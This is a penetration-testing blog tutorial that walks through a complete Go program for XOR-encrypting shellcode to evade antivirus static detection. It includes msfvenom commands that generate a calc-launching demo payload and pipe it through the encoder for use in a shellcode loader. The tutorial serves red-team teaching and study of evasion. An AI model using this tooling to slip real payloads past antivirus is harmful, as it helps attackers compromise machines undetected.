Top Categories

Spotlight

todayJanuary 2, 2024

Red Teaming + Social Engineering krptyk

Reverse Proxy Phishing With Evilginx

Reverse proxy phishing with Evilginx is a technique where a phishing site acts as a proxy server, intercepting legitimate requests and forwarding them to the genuine website while capturing sensitive information from users. This approach allows us to create convincing phishing campaigns by seamlessly proxying the target site, making it [...]


Encrypting Shellcode to Evade AV

Cyber security + Penetration Testing krptyk todaySeptember 20, 2023

Background
share close

Bypassing antivirus (AV) detection is a constant challenge for ethical hackers and penetration testers. One effective technique used by attackers is the encryption or obfuscation of malicious shellcode. In this blog post, we will explore a Go (Golang) program that encrypts shellcode, making it more difficult for AV software to detect.

Leveraging XOR Encryption for Shellcode Obfuscation

One technique that stands out for its simplicity and effectiveness is XOR encryption. In this blog post, we’ll delve into the XOR encryption algorithm and explore why it is a lightweight and straightforward choice for encrypting shellcode, ultimately aiding in the evasion of AV static detection.

The XOR Encryption Algorithm

XOR, or exclusive OR, is a bitwise operation that compares two binary values. Its logic is straightforward: if two bits being compared are different, the result is set to 1; if they are the same, the result is set to 0. This fundamental operation is at the core of XOR encryption.

What makes XOR encryption particularly appealing is its simplicity and reversibility. When you XOR-encrypt a piece of data with a secret key, you can later decrypt it by XOR-ing it again with the same key. This simplicity means that it’s relatively easy to implement.

Evasion of AV Static Detection

So, why do we turn to XOR encryption when dealing with shellcode? Shellcode is a type of code that is often executed directly in memory, without being saved to disk. AV software employs static detection techniques to identify known malware signatures or patterns in files. When shellcode is obfuscated using XOR encryption, it becomes more challenging for AV software to recognize the underlying malicious behavior.

Here’s why XOR encryption helps evade AV static detection:

  1. Data Transformation: XOR encryption transforms the original shellcode into a different binary representation. This transformation breaks the recognizable patterns that AV software typically searches for.
  2. Customization: You can use a unique XOR keys for each piece of shellcode, making it even harder for AV software to detect recurring patterns across different attacks.
  3. Runtime Decryption: When the encrypted shellcode is executed, it is dynamically decrypted in memory using the XOR key. This runtime decryption further complicates the static analysis performed by AV software.

In essence, XOR encryption serves as a practical tool enabling us to deploy stealthier and more effective attacks for legitimate testing and defense purposes. However, it’s essential to emphasize the responsible and ethical use of such techniques, as the misuse of encrypted shellcode for malicious activities is unlawful and unethical.

In the following sections, we will explore a Go (Golang) program that demonstrates the implementation of XOR encryption for shellcode obfuscation, allowing you to gain a deeper understanding of how this technique can be applied in practice.

This introduction sets the stage for explaining the relevance of XOR encryption in shellcode obfuscation and highlights its advantages in terms of lightweight implementation and evasion of AV static detection.

Creating the Go Code

At a high level, our Go program is designed to take raw binary data as input, perform an XOR operation on it, and produce encrypted shellcode as output. Let’s dive into the code and break it down step by step:

Importing Required Packages

We start by importing the necessary packages:

package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"os"
)
  • "flag" is used for parsing command-line arguments.
  • "fmt" is used for printing output.
  • "io/ioutil" is used for reading input data.
  • "os" is used for handling operating system-related functionality.

The XOR Encryption Function

The xorme function is the heart of our encryption process. It takes two arguments: the binary data to be encrypted and an XOR key.

func xorme(buf []byte, k byte) []byte {
	res := make([]byte, len(buf))
	for i, ch := range buf {
		res[i] = ch ^ k
	}
	return res
}
  • buf is the input binary data.
  • k is the XOR key.
  • The function creates a byte slice res of the same length as buf.
  • It iterates through each byte in buf, XORs it with the key k, and stores the result in the corresponding position in res.
  • Finally, it returns the encrypted data in the form of a byte slice.

Formatting and Printing the Encrypted Data

The printOutput function takes care of formatting and printing the encrypted data based on the specified output format:

func printOutput(buf []byte, t string) {
	var fmtStr string
	var end string

	switch t {
	case "go":
		fmtStr = "0x%02x"
		end = ","
		fmt.Println("buf := []byte{")
	case "c#":
		fmtStr = "0x%02x"
		end = ","
		fmt.Println("byte[] buf = {")
	case "py":
		fmtStr = "\\x%02x"
		end = ""
		fmt.Println("buf := []byte{")
	}

	for i, ch := range buf[:len(buf)-1] {
		if i > 0 && i%16 == 0 {
			if t == "py" {
				fmt.Print("\\")
			}
			fmt.Println()
		}
		fmt.Printf(fmtStr, ch)
		fmt.Print(end)
	}

	fmt.Printf(fmtStr, buf[len(buf)-1])

	switch t {
	case "go":
		fmt.Println("}")
	case "c#":
		fmt.Println("};")
	case "py":
		fmt.Println("}")
	}
}
  • The printOutput function formats the encrypted data based on the chosen output format, such as Go, C#, or Python.
  • It iterates through the encrypted data and prints it accordingly.
  • The output is structured to match the target programming language’s array or byte format.

Main Function

The main function is the entry point of our program. It handles command-line arguments, file input, encryption, and output.

func main() {
	t := flag.String("t", "py", "Language type to generate for")
	x := flag.Int("x", 55, "XOR integer (defaults to 55)")
	flag.Parse()

	buf, err := ioutil.ReadAll(os.Stdin)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error reading input: %v\n", err)
		os.Exit(1)
	}

	xorbuf := xorme(buf, byte(*x))
	printOutput(xorbuf, *t)
}
  • We use the "flag" package to define and parse command-line arguments. The program accepts two flags: -t for specifying the output language and -x for the XOR key.
  • It reads the raw binary data from standard input, which allows it to process data from files, pipes, or other sources.
  • The xorme function is called to encrypt the input data, and the printOutput function is used to format and print the encrypted data.

Final Code

Our final code will look like this:

/*
Author: Krptyk
Description: XOR Encryption for Shellcode Obfuscation
Credits: https://github.com/yoda66/GoShellcode
*/

package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"os"
)

func xorme(buf []byte, k byte) []byte {
	res := make([]byte, len(buf))
	for i, ch := range buf {
		res[i] = ch ^ k
	}
	return res
}

func printOutput(buf []byte, t string) {
	var fmtStr string
	var end string

	switch t {
	case "go":
		fmtStr = "0x%02x"
		end = ","
		fmt.Println("buf := []byte{")
	case "c#":
		fmtStr = "0x%02x"
		end = ","
		fmt.Println("byte[] buf = {")
	case "py":
		fmtStr = "\\x%02x"
		end = ""
		fmt.Println("buf := []byte{")
	}

	for i, ch := range buf[:len(buf)-1] {
		if i > 0 && i%16 == 0 {
			if t == "py" {
				fmt.Print("\\")
			}
			fmt.Println()
		}
		fmt.Printf(fmtStr, ch)
		fmt.Print(end)
	}

	fmt.Printf(fmtStr, buf[len(buf)-1])

	switch t {
	case "go":
		fmt.Println("}")
	case "c#":
		fmt.Println("};")
	case "py":
		fmt.Println("}")
	}
}

func main() {
	t := flag.String("t", "py", "Language type to generate for")
	x := flag.Int("x", 55, "XOR integer (defaults to 55)")
	flag.Parse()

	buf, err := ioutil.ReadAll(os.Stdin)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error reading input: %v\n", err)
		os.Exit(1)
	}

	xorbuf := xorme(buf, byte(*x))
	printOutput(xorbuf, *t)
}

Using Our Code

Ok I hear you, we’ve gone through all of this now how do we even use it? Well we will use msfvenom to create our shellcode then pipe it into our Go program. The process is as follows:

msfvenom -p <msfvenom payload> -f raw 2>/dev/null | go run GoXOR.go -t go -x <key> 

In our case, lets test this with the calc payload with our key being 31:

msfvenom -p windows/x64/exec CMD=calc -f raw 2>/dev/null | go run GoXOR.go -t go -x 31
OR
msfvenom -p windows/x64/exec CMD=calc -f raw 2>/dev/null | go run GoXOR.go -t go -x 31 >> shellcode.txt //This saves the output to a .txt file 

Success! We now have the original shellcode that has been encrypted using XOR with our key of 31. You can now add this encrypted shellcode into your favourite shellcode loader to avoid static detection. Don’t have your own shellcode loader or want to learn more about it?

Written by: krptyk

Tagged as: .

Rate it

Previous post

Post comments (0)

Leave a reply

Your email address will not be published. Required fields are marked *